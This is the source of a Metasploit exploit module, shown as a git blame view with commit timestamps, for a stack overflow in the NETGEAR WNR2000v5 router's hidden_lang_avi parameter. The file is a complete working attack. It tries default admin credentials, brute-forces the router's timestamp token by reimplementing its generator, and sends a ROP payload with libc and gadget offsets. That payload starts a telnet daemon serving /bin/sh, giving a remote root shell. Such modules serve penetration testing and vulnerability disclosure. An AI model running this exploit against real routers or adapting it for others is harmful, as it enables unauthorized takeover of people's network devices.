metasploit-framework/modules/exploits/linux/http/netgear_wnr2000_rce.rb

271 lines
10 KiB
Ruby
Raw Normal View History

2016-12-27 21:12:35 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'time'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
2016-12-31 16:49:05 +00:00
include Msf::Auxiliary::CRand
2016-12-27 21:12:35 +00:00
def initialize(info = {})
super(update_info(info,
2016-12-31 16:49:05 +00:00
'Name' => 'NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Overflow',
2016-12-27 21:12:35 +00:00
'Description' => %q{
2016-12-31 16:49:05 +00:00
The NETGEAR WNR2000 router has a buffer overflow vulnerability in the hidden_lang_avi
parameter.
In order to exploit it, it is necessary to guess the value of a certain timestamp which
is in the configuration of the router. An authenticated attacker can simply fetch this
from a page, but an unauthenticated attacker has to brute force it.
2017-01-02 17:32:38 +00:00
Bruteforcing the timestamp token might take a few minutes, a few hours, or days, but
it is guaranteed that it can be bruteforced.
2016-12-31 16:49:05 +00:00
This module implements both modes, and it works very reliably. It has been tested with
2017-01-02 17:32:38 +00:00
the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with hardware
revisions v4 and v3, but this has not been tested - with these routers it might be necessary
to adjust the LibcBase variable as well as the gadget addresses.
2016-12-27 21:12:35 +00:00
},
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'References' =>
[
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
2016-12-31 16:49:05 +00:00
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'],
['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
2016-12-27 21:12:35 +00:00
],
'Targets' =>
[
[ 'NETGEAR WNR2000v5',
{
2016-12-31 16:49:05 +00:00
'LibcBase' => 0x2ab24000, # should be the same offset for all firmware versions (in libuClibc-0.9.30.1.so)
'SystemOffset' => 0x547D0,
'GadgetOffset' => 0x2462C,
2016-12-27 21:12:35 +00:00
#The ROP gadget will load $sp into $a0 (which will contain the system() command) and call $s0 (which will contain the address of system()):
#LOAD:0002462C addiu $a0, $sp, 0x40+arg_0
#LOAD:00024630 move $t9, $s0
#LOAD:00024634 jalr $t9
'Payload' =>
{
2016-12-31 16:49:05 +00:00
'BadChars' => "\x00\x25\x26",
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
2016-12-27 21:12:35 +00:00
},
}
],
],
2016-12-31 16:49:05 +00:00
'Privileged' => true,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
2016-12-27 21:12:35 +00:00
'DisclosureDate' => 'Dec 20 2016',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
2016-12-31 16:49:05 +00:00
OptString.new('USERNAME', [true, 'Username for the web interface (not needed but exploitation is faster)', 'admin']),
OptString.new('PASSWORD', [true, 'Password for the web interface (not needed but exploitation is faster)', 'password']),
], self.class)
register_advanced_options(
[
OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting a shell', 200])
2016-12-27 21:12:35 +00:00
], self.class)
end
2016-12-31 16:49:05 +00:00
2016-12-27 21:12:35 +00:00
def check
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res.headers['WWW-Authenticate']
auth = res.headers['WWW-Authenticate']
if auth =~ /WNR2000v5/
return Exploit::CheckCode::Detected
elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/
return Exploit::CheckCode::Unknown
end
end
Exploit::CheckCode::Safe
end
2016-12-31 16:49:05 +00:00
2016-12-27 21:12:35 +00:00
def uri_encode (str)
"%" + str.scan(/.{2}|.+/).join("%")
end
def calc_address (libc_base, offset)
addr = (libc_base + offset).to_s(16)
uri_encode(addr)
end
def get_current_time
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res['Date']
date = res['Date']
2016-12-31 16:49:05 +00:00
return Time.parse(date).strftime('%s').to_i
2016-12-27 21:12:35 +00:00
end
end
2016-12-31 16:49:05 +00:00
def get_auth_timestamp
res = send_request_raw({
2016-12-27 21:12:35 +00:00
'uri' => '/lang_check.html',
2016-12-31 16:49:05 +00:00
'method' => 'GET',
'headers' => {'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}")}
2016-12-27 21:12:35 +00:00
})
if res && res.code == 401
# try again, might fail the first time
2016-12-31 16:49:05 +00:00
res = send_request_raw({
2016-12-27 21:12:35 +00:00
'uri' => '/lang_check.html',
2016-12-31 16:49:05 +00:00
'method' => 'GET',
'headers' => {'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}")}
2016-12-27 21:12:35 +00:00
})
2016-12-31 16:49:05 +00:00
end
if res && res.code == 200
if res.body =~ /timestamp=([0-9]{8})/
$1.to_i
2016-12-27 21:12:35 +00:00
end
end
2016-12-31 16:49:05 +00:00
end
# Do some crazyness to force Ruby to cast to a single-precision float and
# back to an integer.
# This emulates the behaviour of the soft-fp library and the float cast
# which is done at the end of Netgear's timestamp generator.
def ieee754_round (number)
[number].pack('f').unpack('f*')[0].to_i
end
# This is the actual algorithm used in the get_timestamp function in
# the Netgear firmware.
def get_timestamp(time)
srandom_r time
t0 = random_r
t1 = 0x17dc65df;
hi = (t0 * t1) >> 32;
t2 = t0 >> 31;
t3 = hi >> 23;
t3 = t3 - t2;
t4 = t3 * 0x55d4a80;
t0 = t0 - t4;
t0 = t0 + 0x989680;
ieee754_round(t0)
end
def get_payload
rand_text_alpha(36) + # filler_1
calc_address(target['LibcBase'], target['SystemOffset']) + # s0
rand_text_alpha(12) + # s1, s2 and s3
calc_address(target['LibcBase'], target['GadgetOffset']) + # gadget
rand_text_alpha(0x40) + # filler_2
"killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh" # payload
end
def send_req(timestamp)
begin
uri_str = (timestamp == nil ? \
"/apply_noauth.cgi?/lang_check.html" : \
"/apply_noauth.cgi?/lang_check.html%20timestamp=#{timestamp.to_s}")
res = send_request_raw({
'uri' => uri_str,
'method' => 'POST',
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
'data' => "submit_flag=select_language&hidden_lang_avi=#{get_payload}"
})
2017-01-02 17:32:38 +00:00
rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
2016-12-31 16:49:05 +00:00
return
end
end
2016-12-27 21:12:35 +00:00
def exploit
2016-12-31 16:49:05 +00:00
# 1: try to see if the default admin username and password are set
timestamp = get_auth_timestamp
2016-12-27 21:12:35 +00:00
2016-12-31 16:49:05 +00:00
# 2: now we try two things at once:
# one, if the timestamp is not nil then we got an authenticated timestamp, let's try that
# two, if the timestamp is nil, then let's try without timestamp first (the timestamp only gets set if the user visited the page before)
print_status("#{peer} - Trying the easy way out first")
send_req(timestamp)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
if not sock.nil?
print_good("#{peer} - Success, shell incoming!")
return handler(sock)
2016-12-27 21:12:35 +00:00
end
2016-12-31 16:49:05 +00:00
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
sock.close if sock
end
2016-12-27 21:12:35 +00:00
2016-12-31 16:49:05 +00:00
print_bad("#{peer} - Well that didn't work... let's do it the hard way.")
2016-12-27 21:12:35 +00:00
2016-12-31 16:49:05 +00:00
# no shell? let's just go on and bruteforce the timestamp
# 3: get the current date from the router and parse it
end_time = get_current_time
2017-01-04 23:02:10 +00:00
if end_time.nil?
2016-12-31 16:49:05 +00:00
fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
end
if end_time <= datastore['TIME_OFFSET']
start_time = 0
else
start_time = end_time - datastore['TIME_OFFSET']
end
end_time += datastore['TIME_SURPLUS']
if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
end
2016-12-27 21:12:35 +00:00
2016-12-31 16:49:05 +00:00
print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
2016-12-31 17:02:34 +00:00
print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")
2016-12-27 21:12:35 +00:00
2016-12-31 16:49:05 +00:00
# 2: work back from the current router time minus datastore['TIME_OFFSET']
while true
for time in end_time.downto(start_time)
timestamp = get_timestamp(time)
sleep 0.1
if time % 400 == 0
print_status("#{peer} - Still working, trying time #{time}")
end
send_req(timestamp)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
if sock.nil?
next
end
print_status("#{peer} - Success, shell incoming!")
return handler(sock)
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
sock.close if sock
next
2016-12-27 21:12:35 +00:00
end
end
2017-01-02 17:32:38 +00:00
end_time = start_time
start_time -= datastore['TIME_OFFSET']
if start_time < 0
if end_time <= datastore['TIME_OFFSET']
fail_with(Failure::Unknown, "#{peer} - Exploit failed.")
end
start_time = 0
2016-12-31 16:49:05 +00:00
end
2016-12-31 17:02:34 +00:00
print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")
# let the router clear the buffers a bit...
sleep 30
2016-12-27 21:12:35 +00:00
end
end
end